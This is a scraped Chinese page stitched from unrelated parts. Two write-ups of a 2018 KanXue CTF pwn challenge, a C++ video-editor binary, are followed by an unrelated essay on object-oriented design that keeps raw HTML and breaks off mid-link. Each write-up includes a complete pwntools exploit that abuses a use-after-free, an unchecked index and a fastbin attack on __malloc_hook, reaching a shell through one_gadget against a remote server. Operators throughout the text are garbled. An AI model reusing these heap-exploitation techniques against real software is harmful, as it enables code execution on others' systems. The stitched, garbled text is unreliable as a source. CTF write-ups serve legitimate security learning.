_readfsqword(0x28u)是什么意思

[原创] 第九题 PWN-羞耻Player WriteUp
Pediy CTF 2018 - 羞耻Player WriteUp程序用C++编写,写了一个抽象类Clip,派生出AudioClip,VideoClip,SubtitleClip和MetadataClip四个类。虚表中有四个函数,分别对应add, edit, remove, play四个操作,具体的函数由不同的派生类不同实现。IDA标一下数据成员,大概是这样:
me (sizeof=0x48, mappedto_11)
dq ? offset
db 32 dup(?) string(C)
db 32 dup(?) string(C)
; ---------------------------------------------------------------------------
vi (sizeof=0x50, mappedto_19)
resolution
frame_number
description
db 48 dup(?) string(C)
; ---------------------------------------------------------------------------
su (sizeof=0x18, mappedto_17)
db 4 dup(?) string(C)
0000000C length
content_ptr
; ---------------------------------------------------------------------------
au (sizeof=0x48, mappedto_18)
0000000C time
description
db 48 dup(?) string(C)
标完结构体和函数,看一下代码,发现以下几个可能的漏洞:
std::operator&&&std::char_traits&char&&((__int64)&std::cout, (__int64)"Enter index : ");
std::istream::operator&&((__int64)&std::cin, (__int64)&v1);
if ( !clip_list[v1] )
(*(void (__fastcall **)(clip *, __int64 *))(clip_list[v1]-&vtable-&edit))(clip_list[v1], &v1);
return __readfsqword(0x28u) ^ v2;
这里没有对输入的index进行边界检查,只要该处的值非零就按指针跳两级过去执行,故可以做对象和虚表伪造来实现控制流劫持。
a1-&frame_number = 1024;
v2 = operator new[]((unsigned int)a1-&frame_number);
if ( !v2 )
a1-&data_ptr = v2;
if ( a1-&data_ptr )
operator delete[]((void *)a1-&data_ptr);
std::operator&&&std::char_traits&char&&((__int64)&std::cout, (__int64)"Video Data : ");
a1-&frame_number = read(0, (void *)a1-&data_ptr, (unsigned int)a1-&frame_number);
VideoClip的编辑函数,这里写了一个非常魔性的漏洞,先申请了一块内存,然后直接free掉,然后再往里面写入数据。可以使用一般的Use After Free利用方法,泄露地址或做Fastbin Attack或Unlink。
&综合这两个漏洞,就有以下的攻击方法:
泄露Libc地址
泄露堆地址和程序基址,计算偏移和虚表地址
在堆上伪造虚表,写入one gadget
利用无边界检查的偏移量跳过去执行
程序有一个难点:
fd = open("/dev/urandom", 0);
if ( fd & 0 )
if ( read(fd, &buf, 4uLL) != 4 )
close(fd);
srand(buf);
for ( i = 0; i &= 255; ++i )
v0 = rand();
v5[i] = (void *)operator new[](v0);
for ( i = 0; i &= 255; ++i )
if ( rand() % 3 == 0 )
if ( v5[i] )
operator delete[](v5[i]);
v5[i] = 0LL;
分配了256个大小随机的堆块,然后随机free掉一些堆块,让它们进入bins,造成之后的堆内存分布不整齐。解决的方案是,事先分配很多个需要用到的大小,来清空对应大小的bins = =
&利用use after free泄露地址,先准备好一个free掉的second=1024的VideoClip,然后创建3个256大小的VideoClip,free 第一个和第二个,再Play 1024大小的VideoClip,就能泄露出需要的三个地址。(libc和堆地址从双链表中泄露,程序基址从对象中的虚表地址泄露)
&拿到地址之后,计算好下一堆块地址、偏移量和one gadget地址,new一个VideoClip,放上指向伪造虚表的二级指针。利用任意偏移执行触发,得到一个shell。
from pwn import *
#p = process('./video_Editor')
p = remote('139.199.99.130', 8989)
elf = ELF('./video_Editor')
libc = ELF('./libc.so.6')
def add_video(res, fps, frames, data, desc):
p.recvuntil('&&&')
p.sendline('1')
p.recvuntil('Clip Adding')
p.sendline('1')
p.recvuntil('Video Resolution : ')
p.send(p64(res))
p.recvuntil('FPS : ')
p.send(p32(fps))
p.recvuntil('Number of Frames : ')
p.send(p32(frames))
p.recvuntil('Video Data : ')
p.sendline(data)
p.recvuntil('Add description : ')
p.sendline(desc)
def edit_video(index, res, fps, frames, data, desc):
p.recvuntil('&&&')
p.sendline('2')
p.recvuntil('Enter index : ')
p.sendline(str(index))
p.recvuntil('Video Resolution : ')
p.send(p64(res))
p.recvuntil('FPS : ')
p.send(p32(fps))
p.recvuntil('Number of Frames : ')
p.send(p32(frames))
p.recvuntil('Video Data : ')
p.sendline(data)
p.recvuntil('Edit description : ')
p.sendline(desc)
def add_audio(bitrate, time, data, desc):
p.recvuntil('&&&')
p.sendline('1')
p.recvuntil('Clip Adding')
p.sendline('2')
p.recvuntil('Audio Bitrate : ')
p.send(p16(bitrate))
p.recvuntil('Audio Length (seconds) : ')
p.send(p32(time))
p.recvuntil('Audio Data : ')
p.sendline(data)
p.recvuntil('Add description : ')
p.sendline(desc)
def edit_audio(index, bitrate, time, data, desc):
p.recvuntil('&&&')
p.sendline('2')
p.recvuntil('Enter index : ')
p.sendline(str(index))
p.recvuntil('Audio Bitrate : ')
p.send(p16(bitrate))
p.recvuntil('Audio Length (seconds) : ')
p.send(p32(time))
p.recvuntil('Audio Data : ')
p.sendline(data)
p.recvuntil('Edit description : ')
p.sendline(desc)
def add_subtitle(lang, length, content):
p.recvuntil('&&&')
p.sendline('1')
p.recvuntil('Clip Adding')
p.sendline('3')
p.recvuntil('Subtitle Language : ')
p.sendline(lang)
p.recvuntil('Subtitle Length : ')
p.send(p32(length))
p.recvuntil('Add Subtitle : ')
p.sendline(content)
def edit_subtitle(index, lang, content):
p.recvuntil('&&&')
p.sendline('2')
p.recvuntil('Enter index : ')
p.sendline(str(index))
p.recvuntil('New Language : ')
p.sendline(lang)
p.recvuntil('Edit data : ')
p.sendline(content)
def add_metadata(date, owner):
p.recvuntil('&&&')
p.sendline('1')
p.recvuntil('Clip Adding')
p.sendline('4')
p.recvuntil('Date of Creation : ')
p.sendline(date)
p.recvuntil('Owner of video : ')
p.sendline(owner)
def edit_metadata(index, date, owner):
p.recvuntil('&&&')
p.sendline('2')
p.recvuntil('Enter index : ')
p.sendline(str(index))
p.recvuntil('Date of Creation : ')
p.sendline(date)
p.recvuntil('Owner of video : ')
p.sendline(owner)
def remove(index):
p.recvuntil('&&&')
p.sendline('4')
p.recvuntil('Enter index : ')
p.sendline(str(index))
p.sendline('\x00' * 0xf0)
for i in range(100):
add_video(10,1,256,'A','AAAAA')
add_video(10,1,1024,'B','BBBBB')
add_video(0, 1, 1024, 'a'*1023, 'aaaa')
edit_video(200,0,1,1024,'b'*1023,'bbbb')
add_video(1,1,256,'b'*32,'bbbb')
add_video(2,1,256,'c'*32,'cccc')
add_video(3,1,256,'d'*32,'dddd')
remove(201)
remove(202)
p.recvuntil('&&&')
p.sendline('3')
p.recvuntil('index')
p.sendline('200')
p.recvuntil('Playing video...\n')
for i in range(1024):
rec+= chr( ord( p.recv(1))^0xcc )
addr1 = rec[0:8]
base = u64(addr1)-(0xe7a7cc70-0x55f8e7879000)
addr2 = rec[0x60:0x68]
libc_base = u64(addr2)-(0xdb78-0x7f)
addr3=rec[0x68:0x70]
heap_addr = u64(addr3)
print hex(base)
print hex(libc_base)
print hex(heap_addr)
one_addr = libc_base + 0xf1147
fake_vtable = p64(one_addr) * 4
vtable_addr = heap_addr + (0xbeb0 - 0x) + 0x20
add_video(66, 1, 1024, p64(vtable_addr - 0x8) + p64(vtable_addr) + fake_vtable, fake_vtable)
print hex(vtable_addr)
offset = (vtable_addr - 0x10 - (base + 0x204280)) / 8
print offset
p.sendline('2')
p.sendline(str(offset))
p.interactive()
支付方式:
最新回复 (0)
1.请先关注公众号。
2.点击菜单"更多"。
3.选择获取下载码。[原创] 京东-看雪-2018-春季赛-第九题- pwn- 羞耻player
怎么说,感觉这题目出崩了,攻击方法很简单,leak 一个地址然后直接fastbin attack 就完事了,和题目写的一堆函数不成比例的感觉
功能分析& 漏洞分析题目给了 二进制 以及 libc, 版本 2.23,保护全开
amd64-64-little
Full RELRO
Canary found
NX enabled
PIE enabled
先玩一下程序一开始输入一个name,然后就进入主菜单,一共四个功能
Welcome to KanXue CTF!
Please enter your Recording Name?
经典的选单程序
1. Add Clip
2. Edit Clip
3. Play Clip
4. Remove Clip
add clip 操作,有四种选择,每一种选择传入的东西不同
1. Video Clip
2. Audio Clip
3. Subtitle Clip
4. Metadata Clip
后面的 edit,play, remove 会根据创建的类型调用对应的函数先抛开代码怎么实现不说,手动fuzz一下,进行下面的操作直接就崩了
add_video()
edit_video()
delete_video()
这样自己也是比较好定位漏洞,这里报错是double free, 那么可能是 delete 之前 的 add 或者 edit 操作有对内存 free 没有删除指针什么的
*** Error in `./video_Editor': double free or corruption (top): 0x4530 ***
看看代码吧main 函数如下, 后面的 内容就是 读取 option 然后进行 add edit 什么的函数调用,主要看
init_1438(); 这个函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
__int64 // rax
__int64 v4; // rax
unsigned __int64 // [rsp+8h] [rbp-118h]
// [rsp+10h] [rbp-110h]
unsigned __int64 v8; // [rsp+118h] [rbp-8h]
v8 = __readfsqword(0x28u);
init_1438();
name = std::operator&&&std::char_traits&char&&(&std::cout, "Please enter your Recording Name?");
std::ostream::operator&&(name, &std::endl&char,std::char_traits&char&&);
read(0, &buf, 0xFFuLL);
// no overflow
while ( 1 )
while ( 1 )
while ( 1 )
while ( 1 )
std::istream::operator&&(&std::cin, &op);
if ( op != 2 )
edit_1A7C();
if ( op & 2 )
if ( op != 1 )
goto LABEL_13;
add_1766();
if ( op != 3 )
play_1B33();
if ( op != 4 )
rm_1BEA();
// op others
v4 = std::operator&&&std::char_traits&char&&(&std::cout, "See you next time!!");
std::ostream::operator&&(v4, &std::endl&char,std::char_traits&char&&);
return 0LL;
init_1438() 函数打印开始信息,并调用了一个 rand_heap_12B0 函数,功能上将大概就是申请随机大小的 chunk , 然后 free 掉,这样就会在 heap 上面形成大小不定的 free chunk
unsigned __int64 rand_heap_12B0()
unsigned __int8 v0; // al
// [rsp+4h] [rbp-101Ch]
// [rsp+8h] [rbp-1018h]
// [rsp+Ch] [rbp-1014h]
void *v5[513]; // [rsp+10h] [rbp-1010h]
unsigned __int64 v6; // [rsp+1018h] [rbp-8h]
v6 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd & 0 )
if ( read(fd, &buf, 4uLL) != 4 )
close(fd);
srand(buf);
for ( i = 0; i &= 255; ++i )
// heap 混乱
v0 = rand();
v5[i] = (void *)operator new[](v0);
for ( i = 0; i &= 255; ++i )
if ( rand() % 3 == 0 )
if ( v5[i] )
operator delete[](v5[i]);
v5[i] = 0LL;
return __readfsqword(0x28u) ^ v6;
看一下 add 函数的实现,根据 option malloc 不同的大小对应不同的类型,之前的漏洞点在 video处理上,这里先看看video
unsigned __int64 add_1766()
unsigned __int64 *v0; // rsi
_QWORD *v1; // rsi
__int64 v2; // rax
_QWORD *v3; // rsi
__int64 v4; // rax
struct_p *p; // rbx
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
unsigned __int64 // [rsp+0h] [rbp-20h]
unsigned __int64 v11; // [rsp+8h] [rbp-18h]
v11 = __readfsqword(0x28u);
if ( (unsigned __int64)curr_index_224280 & 0x3FFF )
sub_1684();
std::istream::operator&&(&std::cin, &op);
if ( op == 2 )
v3 = (_QWORD *)operator new(0x48uLL);
// 大小固定
memset(v3, 0, 0x48uLL);
add_audio_pointer_2C74(v3);
manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v3;
v4 = curr_index_224280++;
((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_])(manager_]);
else if ( op & 2 )
if ( op == 3 )
// Subtitle
if ( subtitle_index_204010 == -1 )
p = (struct_p *)operator new(0x18uLL);
p-&qword0 = 0LL;
p-&qword8 = 0LL;
p-&qword10 = 0LL;
add_subtitle_pointer_2C9E(p);
manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))p;
v6 = curr_index_224280++;
subtitle_index_204010 = v6;
(**manager_204280[subtitle_index_204010])(manager_204280[subtitle_index_204010], &op);
if ( op != 4 )
goto LABEL_18;
// Metadata
if ( metadata_index_204018 == -1 )
v0 = (unsigned __int64 *)operator new(0x48uLL);// 0x48 size
memset(v0, 0, 0x48uLL);
add_metadata_pointer_2CD4(v0, v0, 9LL);
manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v0;
v7 = curr_index_224280++;
metadata_index_204018 = v7;
(**manager_204280[metadata_index_204018])(manager_204280[metadata_index_204018], v0);
if ( op != 1 )
v8 = std::operator&&&std::char_traits&char&&(&std::cout, "Wrong Type!!!");
std::ostream::operator&&(v8, &std::endl&char,std::char_traits&char&&);
return __readfsqword(0x28u) ^ v11;
v1 = (_QWORD *)operator new(0x50uLL);
// 0x50 size
memset(v1, 0, 0x50uLL);
add_video_pointer_2C4A(v1);
manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v1;
v2 = curr_index_224280++;
((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_])(manager_]);
return __readfsqword(0x28u) ^ v11;
video add 操作,
v1 = (_QWORD *)operator new(0x50uLL);
// 0x50 size
memset(v1, 0, 0x50uLL);
add_video_pointer_2C4A(v1);
manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v1;
v2 = curr_index_224280++;
((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_])(manager_]);
申请 0x50 大小的chunk,掉哟个 add_video_pointer 这个函数,然后 chunk[0] 的位置保存的是一个指针之类的? 直接调用函数看一下 add_video_pointer, 自己名字起的比较怪,其实这里就是一个c++ 类,存在继承关系,类似 父类实现虚函数,子类继承多态实现这样,fvideo_203C70 就是 video 自己的函数列表,点进去就可以看到各种类的实现
_QWORD *__fastcall add_video_pointer_2C4A(_QWORD *a1)
_QWORD * // rax
super_2C30(a1);
result = a1;
*a1 = fvideo_203C70;
各种类参考
.data.rel.ro:3BD0 ; `vtable for'Metadata
.data.rel.ro:3BD0 _ZTV8Metadata
dq 0 offset to this
.data.rel.ro:3BD8
dq offset _ZTI8M `typeinfo for'Metadata
.data.rel.ro:3BE0 fmeta_203BE0
dq offset meta_add_2A60 ; DATA XREF: add_metadata_pointer_2CD4+18↑o
.data.rel.ro:3BE8
dq offset meta_edit_2B26
.data.rel.ro:3BF0
dq offset meta_del_2C24
.data.rel.ro:3BF8
dq offset meta_show_2BEC
.data.rel.ro:3C00 ; `vtable for'SubClip
.data.rel.ro:3C00 _ZTV7SubClip
dq 0 offset to this
.data.rel.ro:3C08
dq offset _ZTI7SubC `typeinfo for'SubClip
.data.rel.ro:3C10 fsubtitle_203C10 dq offset subtitle_add_26D0
.data.rel.ro:3C10
DATA XREF: add_subtitle_pointer_2C9E+18↑o
.data.rel.ro:3C18
dq offset subtitle_edit_295A
.data.rel.ro:3C20
dq offset subtitle_del_2A28
.data.rel.ro:3C28
dq offset subtitle_show_29F0
.data.rel.ro:3C30 ; `vtable for'AudioClip
.data.rel.ro:3C30 _ZTV9AudioClip
dq 0 offset to this
.data.rel.ro:3C38
dq offset _ZTI9AudioC `typeinfo for'AudioClip
.data.rel.ro:3C40 faudio_203C40
dq offset audio_add_2308
.data.rel.ro:3C40
DATA XREF: add_audio_pointer_2C74+18↑o
.data.rel.ro:3C48
dq offset audio_edit_2490
.data.rel.ro:3C50
dq offset audio_del_2698
.data.rel.ro:3C58
dq offset audio_show_2634
.data.rel.ro:3C60 ; `vtable for'VideoClip
.data.rel.ro:3C60 _ZTV9VideoClip
dq 0 offset to this
.data.rel.ro:3C68
dq offset _ZTI9VideoC `typeinfo for'VideoClip
.data.rel.ro:3C70 fvideo_203C70
dq offset video_add_1E98
.data.rel.ro:3C70
DATA XREF: add_video_pointer_2C4A+18↑o
.data.rel.ro:3C78
dq offset video_edit_2060
.data.rel.ro:3C80
dq offset video_del_22D0
.data.rel.ro:3C88
dq offset video_show_2244
.data.rel.ro:3C90 ; `vtable for'Clip
.data.rel.ro:3C90 _ZTV4Clip
dq 0 offset to this
.data.rel.ro:3C98
dq offset _ZTI4C `typeinfo for'Clip
.data.rel.ro:3CA0 ffather_203CA0
dq offset sub_1E68 DATA XREF: super_2C30+8↑o
.data.rel.ro:3CA8
dq offset sub_1E74
.data.rel.ro:3CB0
dq offset sub_1E80
.data.rel.ro:3CB8
dq offset sub_1E8C
总之 add 函数就是 分配一块内存,实例化一个video 类,指针放chunk[0] 位置,并调用里面的 add 函数
bool __fastcall video_add_1E98(video_chunk *a1)
std::operator&&&std::char_traits&char&&(&std::cout, "Video Resolution : ");
if ( read(0, &a1-&resolution, 8uLL) &= 0 )
std::operator&&&std::char_traits&char&&(&std::cout, "FPS : ");
if ( read(0, &a1-&fps, 4uLL) &= 0 )
std::operator&&&std::char_traits&char&&(&std::cout, "Number of Frames : ");
if ( read(0, &a1-&frams, 4uLL) &= 0 )
if ( a1-&frams & 0x400u )
a1-&frams = 1024;
a1-&p2_data = operator new[]((unsigned int)a1-&frams);
if ( !a1-&p2_data )
std::operator&&&std::char_traits&char&&(&std::cout, "Video Data : ");
a1-&frams = read(0, (void *)a1-&p2_data, (unsigned int)a1-&frams);
if ( !a1-&frams )
memset(&a1-&desc, 0, 0x30uLL);
std::operator&&&std::char_traits&char&&(&std::cout, "Add description : ");
result = read(0, &a1-&desc, 0x2FuLL) &= 0;
if ( result )
一系列的输入,主要关注 a1-&frams 的部分,可以根据自己的输入创建&1024 大小的chunk到这里还没有发现什么问题,那么问题就可能出现在 edit 里面了,看一下
&edit video
bool __fastcall video_edit_2060(video_chunk *a1)
__int64 v2; // [rsp+18h] [rbp-8h]
std::operator&&&std::char_traits&char&&(&std::cout, "Video Resolution : ");
if ( read(0, &a1-&resolution, 8uLL) &= 0 )
std::operator&&&std::char_traits&char&&(&std::cout, "FPS : ");
if ( read(0, &a1-&fps, 4uLL) &= 0 )
std::operator&&&std::char_traits&char&&(&std::cout, "Number of Frames : ");
if ( read(0, &a1-&frams, 4uLL) &= 0 )
if ( a1-&frams & 0x400u )
a1-&frams = 1024;
v2 = operator new[]((unsigned int)a1-&frams);
if ( !v2 )
a1-&p2_data = v2;
if ( a1-&p2_data )
operator delete[]((void *)a1-&p2_data);
std::operator&&&std::char_traits&char&&(&std::cout, "Video Data : ");
a1-&frams = read(0, (void *)a1-&p2_data, (unsigned int)a1-&frams);
if ( !a1-&frams )
memset(&a1-&desc, 0, 0x30uLL);
std::operator&&&std::char_traits&char&&(&std::cout, "Edit description : ");
result = read(0, &a1-&desc, 0x2FuLL) &= 0;
if ( result )
edit video 实现和 add 差不多,主要关注下面这个部分
if ( a1-&frams & 0x400u )
a1-&frams = 1024;
v2 = operator new[]((unsigned int)a1-&frams);
a1-&p2_data = v2;
if ( a1-&p2_data )
operator delete[]((void *)a1-&p2_data);
根据输入的 frams 重新分配内存,写指针,然后 直接delete 掉???一般应该是 先delete 然后再 赋值吧,可能写反了,,
&到了这里思路就清晰了,edit 的时候把分配的内存直接delete 掉了,这样调用 delete_video 就会double free 了
漏洞利用漏洞利用很简单,也就是文章开头说的,leak 一个内存直接fastbin attack 就完事了,但是因为初始化的时候加上了很多 大小不定的 free chunk, 所以需要处理一下具体操作如下
add_video(0x400) # 0x400 指frame大小,将fastbin 清空
# 获取一个 data size == 0x10 的video, 并且得到一个 大小 0x71 的chunk A
add_video(0x10)
edit_video(0x60,'\x00'*0x10)
# 将 free chunk A 放到 bins 里面,这样就可以在里面获取一个 smallbin 地址
add_video(0x400)
play() # leak 地址
# overwrite fastbin fd
edit_video(0x60,p64(malloc_hook-0x23))
# fastbin attack
add_video(0x68,'k'*0x8)
add_video(0x68,payload)
完整 exp 如下
#coding:utf-8
from pwn import *
import sys
import time
file_addr='./video_Editor'
libc_addr='./libc.so.6'
host='139.199.99.130'
p=process('./video_Editor',env={'LD_PRELOAD':'./libc.so.6'})
context.log_level='debug'
if len(sys.argv)==2:
p=remote(host,port)
def sendname(name):
p.sendlineafter("Recording Name?",name)
def menu(op):
p.sendlineafter("&&&",str(op))
def submenu(op):
p.sendlineafter("&&&",str(op))
def add_video(res,fps,size,data,desc):
submenu(1)
p.sendlineafter('Resolution :',res)
p.sendlineafter('FPS :',fps)
p.sendafter('Frames :',p32(size))
time.sleep(0.1)
p.sendafter('Video Data :',data)
time.sleep(0.1)
p.sendlineafter('Add description :',desc)
def edit_video(index,res,fps,size,data,desc):
p.sendlineafter('index :',str(index))
p.sendlineafter('Resolution :',res)
p.sendlineafter('FPS :',fps)
p.sendafter('Frames :',p32(size))
time.sleep(0.1)
p.sendafter('Video Data :',data)
time.sleep(0.1)
p.sendlineafter('description :',desc)
def play_clip(index):
p.sendlineafter('Enter index : ',str(index))
sendname('aqs')
add_video('0','0',0x400,'z'*0x8,'0'*0x10)
add_video('0','0',0x10,'z'*0x8,'1'*0x10)
edit_video(1,'0','0',0x60,'\x00'*0x10,'1'*0x10)
add_video('0','0',0x400,'z'*0x8,'2'*0x10)
play_clip(1)
p.recvuntil('...\n')
leak=p.recv(6)
for i in leak:
test+=chr(ord(i)^0xcc)
leak=u64(test.ljust(8,'\x00'))
malloc_hook=(leak&0xffffffffffffff00)+0x10
libc_base=malloc_hook-0xc4b10
one_gadget=libc_base+0x4526a
p.info('leak '+hex(leak))
p.info('malloc_hook '+hex(malloc_hook))
p.info('libc_base '+hex(libc_base))
p.info('one_gadget '+hex(one_gadget))
# over wirte fd
edit_video(1,'0','0',0x60,p64(malloc_hook-0x23),'1'*0x10)
# fast bin attack 2 one_gadget
add_video('0','0',0x68,'k'*0x8,'3'*0x10)
payload='o'*3
payload+=p64(one_gadget)*3
add_video('0','0',0x68,payload,'3'*0x10)
# trigger one_gadget
p.sendline('1')
p.sendline('1')
raw_input('aaaa')
p.interactive()
估计不是作者愿意吧。。。 不过也懒得去分析其他的地方,毕竟只是一道题目:P
上传的附件:
(662.21kb,2次下载)
(2.03kb,2次下载)
支付方式:
最新回复 (0)
1.请先关注公众号。
2.点击菜单"更多"。
3.选择获取下载码。弊端是,没有人还记得面向对象原本要解决的问题是什么。&br&&br&1、面向对象原本要解决什么(或者说有什么优良特性)&br&似乎很简单,但实际又很不简单:面向对象三要素&b&封装、继承、多态&/b&&br&&br&(&b&警告&/b&:事实上,从业界如此总结出这面向对象三要素的一刹那开始,就已经开始犯错了!)。&br&&br&&b&封装&/b&:封装的意义,在于明确标识出允许外部使用的所有成员函数和数据项,或者叫&b&接口&/b&。&br&&br&有了封装,就可以明确区分&b&内外&/b&,使得类实现者可以修改封装&b&内&/b&的东西而不影响&b&外&/b&部调用者;而外部调用者也可以知道自己不可以碰哪里。这就提供一个良好的合作基础——或者说,只要&b&接口&/b&这个基础约定不变,则代码改变不足为虑。&br&&br&&br&&br&&b&继承+多态&/b&:继承和多态必须一起说。一旦割裂,就说明理解上已经误入歧途了。&br&&br&先说&b&继承&/b&:继承同时具有两种含义:其一是继承基类的方法,并做出自己的改变和/或扩展——号称解决了代码重用问题;其二是&b&声明&/b&某个子类&b&兼容&/b&于某基类(或者说,接口上完全&b&兼容&/b&于基类),外部调用者可无需关注其差别(内部机制会自动把请求派发[dispatch]到合适的逻辑)。&br&&br&再说&b&多态&/b&:基于对象所属类的不同,外部对同一个方法的调用,实际执行的逻辑不同。&br&&br&很显然,多态实际上是&b&依附于继承的两种含义&/b&的:“改变”和“扩展”本身就意味着必须有机制去自动选用你改变/扩展过的版本,故无多态,则两种含义就不可能实现。&br&&br&所以,多态实质上是继承的实现细节;那么让多态与封装、继承这两个概念并列,显然是&b&不符合逻辑&/b&的。不假思索的就把它们当作可并列概念使用的人,显然是从一开始就被误导了——正是这种误导,使得大多数人把注意力过多集中在多态这个战术层面的问题上,甚至达到近乎恶意利用的程度;同时却忽略了战略层面的问题,这就致使软件很容易被他们设计成一滩稀屎(后面会详细谈论这个)。&br&&br&&br&实践中,继承的第一种含义(实现继承)意义并不很大,甚至常常是有害的。因为它使得子类与基类出现强耦合。&br&&br&继承的第二种含义非常重要。它又叫“接口继承”。&br&&b&接口继承&/b&实质上是要求“做出一个良好的抽象,这个抽象规定了一个兼容接口,使得外部调用者无需关心具体细节,可一视同仁的处理实现了特定接口的所有对象”——这在程序设计上,叫做&b&归一化&/b&。&br&&br&&br&&b&归一化&/b&使得高层的外部使用者可以不加区分的处理所有接口兼容的对象集合——就好象linux的泛文件概念一样,所有东西都可以当文件处理,不必关心它是内存、磁盘、网络还是屏幕(当然,对底层设计者,当然也可以区分出“字符设备”和“块设备”,然后做出针对性的设计:细致到什么程度,视需求而定)。&br&&br&&b&归一化&/b&的实例:&br&a、一切对象都可以序列化/toString&br&b、一切UI对象都是个window,都可以响应窗口事件。&br&&br&——必须注意,是一切(符合xx条件的)对象皆可以做什么,而不是“一切皆对象”。后者毫无意义(从信息论角度上说,一切皆xx蕴含的信息量为0)。&br&&br&&br&显然,&b&归一化&/b&可以大大简化&strong&使用者&/strong&的处理逻辑:&br&这和带兵打仗是类似的,班长需要知道每个战士的姓名/性格/特长,否则就不知道该派谁去对付对面山坡上的狙击手;而连长呢,只需知道自己手下哪个班/排擅长什么就行了,然后安排他们各自去守一段战线;到了师长/军长那里,他更关注战场形势的转变及预期……没有这种层层简化、而是必须直接指挥到每个人的话,累死军长都没法指挥哪怕只是一场形势明朗的冲突——光一个个打完电话就能把他累成哑巴。&br&&br&反过来也对:军长压根就不应该去干涉某个步兵班里、几个大头兵之间的战术配合;这不仅耽误他行使身为军长的职责,也会干扰士兵们长久以来养成的默契。他的职责是让合适的部队在合适的时机出现在合适的战场,而不是一天到晚对着几个小兵指手画脚、弄的他们无所适从。&br&&br&约束各单位履行各自的职责、禁止它们越级胡乱指挥,这就是&b&封装&/b&。&br&&br&正是通过封装和归一化,我们才可以做到“如果一个师解决不了问题,那就再调两个师”“如果单凭陆军解决不了问题,那就让空军也过来”——这种灵活性显然是从良好的部队编制得来的。在软件设计里,我们叫它“通过合理模块化而灵活应对需求变更”。&br&&br&&br&&br&软件设计同样。比如说,消息循环在派发消息时,只需知道所有UI对象都是个window,都可以响应窗口消息就足够了;它没必要知道每个UI对象究竟是什么(归一化)、也不应该关心这个UI对象的内部执行细节(封装)——该对象自己知道收到消息该怎么做;而且若它出了问题,只需修改该对象即可,不会影响外部。&br&&br&合理划分功能层级、适时砍掉不必要的繁杂信息,一层层向上提供简洁却又完备的信息/接口,高层模块才不会被累死——KISS是最难也是最优的软件设计方法,没有之一。&br&&br&&br&可见,&b&封装和归一化才是战略层面、生死攸关的问题&/b&。遵循它并不能保证你一定能打胜仗,但违反它你必定死的很难看。&br&&br&但这两个问题太大、太难,并且不存在普适性答案。这就使得&b&没有足够经验、缺乏认真思考的外行们根本无从置喙&/b&。&br&&br&&br&&br&前面提到过,人们&b&错误的把多态这个战术技巧提到“封装和归一化”相同的战略层面上&/b&。这就致使本该谈论战略的设计工作被一群&b&毫无实践经验、只会就着浅显的多态胡扯八道的战术家&/b&攻占和把持,进而使得“&b&以战术代替战略&/b&”成为普遍现象——因为对他们来说,&b&多态是既容易理解又容易玩出诸多花样的&/b&;而封装和归一化就太空泛又太复杂,对他们来说完全无从着手了。&br&所以,他们把一切精力都用在多态的滥用上,却从不谈封装和归一化:即使谈到了,也是作为多态的附庸出现的。&br&&br&这种战术层面的空谈很容易、也很容易出彩,但并不解决问题——反而总是导致简单问题复杂化。&br&然而,对于如何解决问题,他们并不在行,也不在乎。因为他们没有能力在乎。&br&这就要命了。&br&&br&&br&&br&&b&总结&/b&:面向对象的好处实际就这么两点。&br&一是通过封装明确定义了何谓接口、何谓接口内部实现、何谓接口的外部调用者,使得大家各司其职,不得越界;&br&二是通过继承+多态这种内置机制,在语言的层面支持&b&归一化&/b&的设计,并使得内行可以从代码本身看到这个设计——但,注意仅仅只是&b&支持&/b&归一化的设计。不懂如何做出这种设计的外行仍然不可能从瞎胡闹的设计中得到任何好处。&br&&br&&br&显然,不用面向对象语言、不用class,一样可以做归一化的设计(如老掉牙的泛文件概念、游戏行业的一切皆精灵),一样可以封装(通过定义模块和接口),只是用面向对象语言可以直接用语言元素显式声明这些而已;&br&而用了面向对象语言,满篇都是class,并不等于就有了归一化的设计。甚至,因为被这些花哨的东西迷惑,反而更加不知道什么才是设计。&br&&br&&br&2、人们以为面向对象是什么、以及因此制造出的悲剧以及闹剧&br&&br&误解一、&b&面向对象语言支持用语言元素直接声明封装性和接口兼容性,所以用面向对象语言写出来的东西一定更清晰、易懂&/b&。&br&&br&事实上,既然class意味着声明了封装、继承意味着声明了接口兼容,那么错误的类设计显然就是错误的声明、盲目定义的类就是无意义的喋喋不休。而&b&错误的声明比没有声明更糟;通篇毫无意义的喋喋不休还不如错误的声明&/b&。&br&&br&除非你真正做出了漂亮的设计,然后用面向对象的语法把这个设计声明出来——仅仅声明真正有设计、真正需要人们注意的地方,而不是到处瞎叫唤——否则不可能得到任何好处。&br&&br&&b&一切皆对象实质上是在鼓励堆砌毫无意义的喋喋不休&/b&,并且用这种战术层面都蠢的要命的喋喋不休来代替战略层面的考量。&br&&br&大部分人——注意,不是个别人——甚至被这种无意义的喋喋不休搞出了神经质,以至于非要在喋喋不休中找出意义:没错,我说的就是设计模式驱动编程,以及&a href=&//link.zhihu.com/?target=http%3A//coolshell.cn/articles/8745.html& class=& wrap external& target=&_blank& rel=&nofollow 